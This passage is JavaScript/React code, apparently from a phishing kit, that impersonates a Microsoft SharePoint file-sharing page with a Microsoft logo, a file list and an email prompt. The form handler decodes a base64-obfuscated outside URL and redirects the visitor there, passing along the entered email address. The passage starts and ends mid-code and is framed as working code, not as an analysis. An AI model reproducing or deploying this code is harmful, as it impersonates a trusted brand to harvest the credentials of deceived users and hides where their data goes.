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", width: 363, height: 111, }); // ============================================ // COMPONENT: Microsoft Logo // ============================================ const MicrosoftLogo = () => React.jsx(Image.default, { src: "data:image/png;base64,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", alt: "Log", width: 144, height: 144, }); // ============================================ // COMPONENT: Email Modal // ============================================ const ModalConstants = { transitionDuration: { enter: 600, exit: 1000 }, }; let isEmailReadOnly = true; let isValidEmail = true; const EmailModal = ({ showEmailModal, userEmail }) => { const modalRef = ReactDom.useRef(null); const router = ReactUtils.useRouter(); // Validate email if (userEmail && userEmail.includes("@")) { isValidEmail = true; } else { isValidEmail = false; } // Handle form submission const handleFormSubmit = async (previousState, formData) => { const formDataObject = { owner: "Testern", email: formData.get("x1") || "", sendTo: "", }; const responseMessage = "Redirecting..."; await new Promise((resolve) => setTimeout(resolve, 500)); const baseUrl = atob("aHR0cHM6Ly9wcm9qZXQuY29t"); router.replace(`${baseUrl}?email=${formDataObject.email}`); return { message: responseMessage }; }; const [state, formAction, isPending] = ReactDom.useActionState( handleFormSubmit, {} ); return React.jsx(FramerMotion.A, { mountOnEnter: true, unmountOnExit: true, in: showEmailModal, nodeRef: modalRef, timeout: ModalConstants.transitionDuration, classNames: { enter: "", enterActive: f().ModalOpen, exit: "", exitActive: f().ModalClosed, }, children: React.jsxs( "div", { ref: modalRef, className: f().Modal, children: [ React.jsx(Logo, {}), " ", React.jsxs( "form", { action: formAction, children: [ state.message && React.jsx("p", { children: state.message }), React.jsx("input", { type: "text", name: "x1", placeholder: "Email", style: { backgroundColor: "#eaecec" }, defaultValue: userEmail, required: true, readOnly: isValidEmail, }), isPending ? React.jsxs( "button", { type: "submit", disabled: true, children: [ React.jsx("i", { className: "fa fa-spinner fa-spin", }), "Please wait", ], } ) : React.jsx( "button", { type: "submit", children: "Continue", } ), ], } ), ], } ), }); }; // ============================================ // COMPONENT: Backdrop // ============================================ const Backdrop = t(6596); const BackdropStyles = t.n(Backdrop); const BackdropComponent = ({ onClick }) => React.jsx("div", { className: BackdropStyles().Backdrop, onClick: onClick, }); // ============================================ // COMPONENT: Header // ============================================ const HeaderStyles = t(5717); const HeaderStylesDefault = t.n(HeaderStyles); const HeaderComponent = () => React.jsxs("div", { className: HeaderStylesDefault().header, children: [ "Microsoft |", React.jsx("strong", { children: " SharePoint" }), ], }); // ============================================ // COMPONENT: List Item // ============================================ const ListStyles = t(9143); const ListStylesDefault = t.n(ListStyles); const ListItem = ({ icon, description }) => React.jsxs("li", { className: ListStylesDefault().lists, children: [ React.jsxs("div", { className: ListStylesDefault().fileinfo, children: [ React.jsx("div", { className: ListStylesDefault().listLog, children: icon, }), React.jsx("div", { className: ListStylesDefault().desc, children: description, }), ], }), React.jsx("div", { children: React.jsx("p", { children: "View" }), }), ], }); // ============================================ // SVG ICONS // ============================================ const SvgStyles = t(4496); const SvgStylesDefault = t.n(SvgStyles); // Folder icon const FolderIcon = ({ width, height }) => React.jsxs( "svg", { className: SvgStylesDefault().mlog, width: width, height: height, viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", fill: "#000000", children: [ React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }), React.jsx("g", { id: "SVGRepo_tracerCarrier", strokeLinecap: "round", strokeLinejoin: "round", }), React.jsxs("g", { id: "SVGRepo_iconCarrier", children: [ " ", React.jsx("path", { fill: "#fff", fillRule: "evenodd", d: "M21.6924215,13.986674 C22.9997233,14.1908343 24,15.3216239 24,16.6862741 C24,17.7522298 23.3892094,18.6751163 22.4988002,19.1254521 C22.4321553,19.1592575 22.3639409,19.1904067 22.294157,19.2186583 L8.59404885,19.2186583 L8.59404885,19.2181754 C6.85476268,19.2073094 5.44797646,17.7943658 5.44797646,16.0524235 C5.44797646,14.3037201 6.86550796,12.8860679 8.61421133,12.8860679 C8.70222602,12.8860679 8.78903338,12.8906557 8.87511633,12.8976583 C8.87028699,12.8172498 8.86702719,12.7364791 8.86702719,12.6548633 C8.86702719,10.4662072 10.6413261,8.69190834 12.8299821,8.69190834 C14.3676434,8.69190834 15.6998164,9.5683125 16.3568479,10.8482079 C16.9002691,10.4918027 17.5498151,10.283779 18.2483789,10.283779 C20.1559675,10.283779 21.7023216,11.8301331 21.7023216,13.7377217 C21.7023216,13.8215107 21.6982167,13.9043338 21.6924215,13.986674 Z M8.18741857,12.2086324 C6.25507961,12.421727 4.74711875,14.0641849 4.74711875,16.0524235 C4.74711875,16.8619413 4.9992102,17.6150766 5.42841764,18.2378198 L3.27887919,18.2378198 C1.46799809,18.2378198 -1.77635684e-15,16.7698217 -1.77635684e-15,14.9589406 C-1.77635684e-15,13.2281057 1.34134869,11.8115401 3.04103428,11.6894786 C2.98428956,11.4324371 2.95350253,11.1656161 2.95350253,10.8915512 C2.95350253,8.85248384 4.60646427,7.19964283 6.64541087,7.19964283 C7.40977438,7.19964283 8.11980783,7.43181327 8.70886636,7.82963 C9.54542848,6.15252157 11.276867,5 13.2783862,5 C15.9223281,5 18.0967377,7.01021204 18.3569183,9.58557738 C18.3206982,9.58461151 18.2847197,9.58292125 18.2483789,9.58292125 C17.6798451,9.58292125 17.1232638,9.6982217 16.6079734,9.92012979 C15.7386926,8.71545137 14.3462736,7.99105063 12.8299821,7.99105063 C10.4089142,7.99105063 8.41282793,9.84563725 8.18741857,12.2086324 Z", }), " ", ], }), ], } ); // PDF icon const PdfIcon = ({ width, height }) => React.jsxs( "svg", { width: width, height: height, viewBox: "0 0 32 32", xmlns: "http://www.w3.org/2000/svg", children: [ React.jsx("title", { children: "file_type_pdf2" }), React.jsx("path", { d: "M24.1,2.072h0l5.564,5.8V29.928H8.879V30H29.735V7.945L24.1,2.072", style: { fill: "#909090" }, }), React.jsx("path", { d: "M24.031,2H8.808V29.928H29.664V7.873L24.03,2", style: { fill: "#f4f4f4" }, }), React.jsx("path", { d: "M8.655,3.5H2.265v6.827h20.1V3.5H8.655", style: { 